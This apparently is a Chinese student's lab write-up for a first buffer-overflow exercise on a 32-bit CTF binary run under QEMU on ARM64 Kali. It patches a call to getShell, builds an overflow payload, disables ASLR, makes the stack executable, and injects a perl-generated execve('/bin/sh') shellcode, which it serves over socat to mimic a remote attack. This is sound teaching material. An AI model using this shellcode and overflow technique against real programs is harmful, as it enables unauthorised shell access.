实验一
修改终端名
1.输入命令

2.重新打开终端

*修改终端背景和字号
1.打开 preferences

2.打开 Color scheme,选择Kali-Light

3.打开 Font,调大字号

4.改后效果

打开pwn1文件
1.在自己电脑终端中查看电脑的IP地址,打开pwn1文件所在的文件夹,输入命令

2.在kali中输入命令

3.验证文件是否传输成功

修改文件命名
1.使用mv命令

执行文件
电脑系统为ARM架构的同学可以参考下面的教程,其他同学直接./pwn1可以直接执行
1.确保文件具有执行权
2.安装32位兼容库
Kali Linux是64位系统,但pwn1是32位程序。
同时,我的系统时ARM64架构,pwn1是x86架构。
所以要启用多架构(Multi-arch)支持
(1)添加i386架构支持
sudo dpkg --add-architecture i386
(2)确认 i386 架构已经在系统架构列表中
dpkg --print-foreign-architectures
输出为i386
(3)更新软件包列表
sudo apt update
(4)查看i386软件包
apt search i386

(5)安装i686架构的GCC工具链
sudo apt install gcc-i686-linux-gnu g++-i686-linux-gnu

(6)安装必要的库文件
sudo apt install libc6-dev-i386-cross
(7)安装binfmt支持
sudo apt install binfmt-support

(8)安装QEMU
QEMU 是一个开源的可执行硬件虚拟化(Virtualization)平台。
它的核心功能是:让一种CPU架构的计算机,能够运行为另一种完全不同CPU架构编译的程序或整个操作系统。

(9)设置QEMU库路径
export QEMU_LD_PREFIX=/usr/i686-linux-gnu

(10)创建库文件链接
sudo ln -s /usr/i686-linux-gnu/lib/ld-linux.so.2 /lib/ld-linux.so.2
sudo mkdir -p /usr/i686-linux-gnu/lib


(11)检查QEMU是否安装正确
qemu-i386 --version

(12)执行文件
pwn1是一个 CTF pwn 题目,程序运行后等待用户输入,然后输出相同的内容(回声效果)。

反汇编文件
查看汇编指令
电脑系统为ARM架构的同学可以参考下面的教程,其他同学直接objdump -d pwn1可以直接查看
(1)安装 binutils 的 i386 交叉编译版本
sudo apt install binutils-i686-linux-gnu

(2)使用交叉版本的 objdump
i686-linux-gnu-objdump -d ./pwn20231301 | less

效果如下:

(3)查找getShell、foo、main三个函数



修改机器指令
(1)记录关键的地址
- getShell地址:
0x0804847d - call foo指令地址:
0x080484b5 - call指令的下一条指令地址(返回地址):
0x080484ba



(2)计算偏移量
1.原 call foo指令的偏移量计算:
原指令为:
e8 d7 ff ff ff
这是一个相对跳转指令,偏移量计算为:
目标地址 = 下一条指令地址 + 偏移量
偏移量 = 目标地址 - 下一条指令地址
原目标地址是foo:0x08048491
下一条指令地址是:0x080484ba
所以原偏移量 = 0x08048491 - 0x080484ba = -0x29(十进制 -41)
在机器码中表示为小端序:d7 ff ff ff(即 0xffffffd7)
2.我们要跳转到 getShell:0x0804847d
新偏移量 = 0x0804847d - 0x080484ba = -0x3d(十进制 -61)
补码表示为:0xffffffc3
小端序存储为:c3 ff ff ff
(3)修改机器指令
原指令:
e8 d7 ff ff ff
修改为:
e8 c3 ff ff ff
1.备份一份文件,便于出错后能恢复

2.打开文件
vi pwn20231301test


可以看到文件内容十分混乱,所以要将显示模式切换成十六进制
:%!xxd


- 搜索
e8 d7 ff ff ff
在 vi 中按 / 输入:
/e8 d7 ff ff ff

4.修改 d7为 c3
e8 c3 ff ff ff
按i进入insert模式,修改后按Esc退出插入模式。

保存并退出
:%!xxd -r
:wq
![]()
(5)验证修改
i686-linux-gnu-objdump -d ./pwn20231301test | less
你应该看到:
80484b5: e8 c3 ff ff ff call 804847d <getShell>

(6)运行测试
./pwn20231301test

构造输入参数,造成BOF攻击,改变程序执行流
复制一份文件

安装gdb
sudo apt install -y gdb-multiarch

构造payload
1.32字节填充 + getShell地址(小端序)

2.验证内容

3.执行攻击

成功调用getShell函数!
注入Shellcode并执行
备份文件并赋执行权限

安装execstack
尝试了直接安装,添加Debian软件源,官网下载,但是都不行。最后采取手动安装。
1.下载execstack for ARM64
wget http://archive.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_arm64.deb

2.安装
sudo dpkg -i execstack_0.0.20131005-1+b10_arm64.deb
sudo apt install -f


3.检验
execstack --version

修改设置
1.设置堆栈可执行

2.查询文件的堆栈是否可执行

3.查看地址随机化的状态

4.关闭地址随机化

5.查看地址随机化的状态

构造要注入的payload
终端1:
启动QEMU调试服务器

终端2:
1.连接GDB

2.明确架构

3.连接到 QEMU 的调试服务器

4.反编译foo函数并进行分析

5.在 ret 指令处设置断点

6.让程序继续运行

输入continue命令后,系统进入等待输入模式。这是切换回终端1并输入以下命令,终端2就会在断点断开。
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234

7.获取地址信息
- 查看栈指针
- 查看栈内容
- 计算 shellcode 地址

执行攻击
终端2:
1.生成最终shellcode
perl -e 'print "A" x 32;print "\xd0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode_final

2.验证文件内容
xxd input_shellcode_final

终端1:
运行攻击
(cat input_shellcode_final; cat) | ./pwn20231301test3

结合NC模拟远程攻击
终端1:服务端
1.安装socat
sudo apt install socat

2.启动服务
echo "启动 SOCAT 漏洞服务端口 28234"
socat TCP-LISTEN:28234,reuseaddr,fork EXEC:"qemu-i386 ./pwn20231301test3"


终端2:客户端
1.构造攻击payload

2.连接服务端并发送攻击

posted on 2025-09-23 08:26 20231301周子昂 阅读(391) 评论(0) 收藏 举报
浙公网安备 33010602011771号